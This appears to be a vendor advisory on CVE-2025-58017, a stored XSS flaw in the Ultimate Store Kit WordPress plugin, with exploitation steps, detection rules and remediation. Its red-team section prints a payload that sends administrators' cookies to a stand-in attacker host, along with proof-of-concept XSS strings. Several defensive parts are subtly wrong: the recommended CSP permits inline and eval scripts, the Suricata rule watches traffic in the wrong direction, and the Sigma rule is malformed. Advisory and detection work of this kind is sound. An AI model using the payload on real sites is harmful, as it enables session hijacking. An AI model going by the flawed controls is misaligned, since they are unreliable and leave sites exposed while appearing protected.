CVE-2025-58017

Executive Summary

CVE-2025-58017 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ultimate Store Kit Elementor Addons WordPress plugin by Bdthemes. The flaw exists in versions up to and including 2.8.6, where user-supplied input is improperly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads that persist in the WordPress database and execute when an administrator or other user views the compromised page or widget.

This vulnerability is part of the WordPress ecosystem and affects sites using the Ultimate Store Kit plugin to enhance WooCommerce stores with Elementor. The CVSS score of 6.5 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the XSS can lead to session hijacking, credential theft, or defacement.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of plugin downloads by checking checksums provided by the vendor or repository. No official patch has been released as of this analysis.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required (R) – Victim must visit the compromised page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but stored XSS in a widely-used e-commerce plugin can lead to significant damage if exploited.

Deep Dive & Mechanics

The vulnerability resides in the ultimate-store-kit plugin's widget rendering logic. The plugin fails to sanitize or escape user-supplied input before storing it in the WordPress database and later outputting it in the context of an HTML page. Specifically, fields such as custom CSS, widget titles, or product descriptions processed by the plugin are not properly neutralized.

Attack Flow:

1. An authenticated user with contributor-level access or higher navigates to a page or post using the Ultimate Store Kit Elementor widget.
2. The attacker inserts a malicious payload (e.g., <script>alert('XSS')</script>) into an unsanitized input field.
3. The payload is stored in the WordPress wp_postmeta or similar table.
4. When an administrator or other user views the page, the payload executes in their browser context.

Root Cause: The plugin uses functions like echo $value or the_content filter without applying esc_html(), wp_kses(), or similar escaping functions. The lack of output encoding allows arbitrary HTML/JavaScript to be rendered.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.8.6):

// In a widget render method
echo $settings['custom_css']; // No escaping

Patched Code (hypothetical fix):

// Proper escaping
echo esc_html( $settings['custom_css'] );
// Or for rich content:
echo wp_kses_post( $settings['custom_css'] );

The patch would involve adding esc_html() or wp_kses() to all user-controlled output fields within the plugin's widget templates.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Ultimate Store Kit plugin <= 2.8.6
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create or edit a page using Elementor.
3. Add the Ultimate Store Kit widget (e.g., "Product Grid").
4. In a text field (e.g., "Custom CSS" or "Button Text"), inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the page.
6. When an admin visits the page, the script executes, exfiltrating cookies.

Proof-of-Concept Payload:

<img src=x onerror="alert('XSS')">

Blue Team

Detection Steps:

1. Monitor WordPress admin activity logs for unusual widget saves.
2. Scan the wp_postmeta table for suspicious HTML/JavaScript patterns.
3. Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests.
4. Implement Content Security Policy (CSP) headers to mitigate script execution.

Lab Setup:

• Use a local WordPress environment (e.g., Local by Flywheel) with the vulnerable plugin.
• Install a security plugin like Wordfence to simulate detection.
• Test payloads in a sandboxed browser.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown domains containing document.cookie or localStorage.
  • Suspicious POST requests to /wp-admin/admin-ajax.php with encoded payloads.
• Host:
  • Entries in wp_postmeta containing <script>, <img onerror=, or javascript:.
  • Modified widget settings in the wp_options table.
• File:
  • Plugin files in /wp-content/plugins/ultimate-store-kit/ with unexpected modifications.
• Logs:
  • WordPress debug log entries showing unescaped output warnings.

Detection Engineering

YARA Rule

rule Detect_Ultimate_Store_Kit_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Ultimate Store Kit plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58017"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /<img[^>]*onerror\s*=/is
        $payload3 = /javascript\s*:/is
    condition:
        any of ($payload*) and filesize < 10MB
}

Sigma Rule

title: Stored XSS in Ultimate Store Kit Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via Ultimate Store Kit plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        cs-uri-query|contains: 'ultimate-store-kit'
    condition: selection
falsepositives:
    - Legitimate plugin updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-58017 - Stored XSS in Ultimate Store Kit Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"ultimate-store-kit"; http_client_body;
    pcre:"/<script|<img onerror|javascript:/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-58017;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Ultimate Store Kit plugin until a patch is available.
2. Review and sanitize all existing widget content for malicious payloads.
3. Implement a Web Application Firewall (WAF) with XSS rules.

Long-Term Fix:

• Apply the vendor patch when released (monitor Bdthemes updates).
• Upgrade to version > 2.8.6 once available.
• Enforce principle of least privilege for WordPress user roles.

Compensating Controls:

• Add Content Security Policy (CSP) header: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https:;
• Use a security plugin to monitor file changes and database integrity.
• Regularly audit plugin code for unescaped output.

Valters IT
Securing Digital Frontiers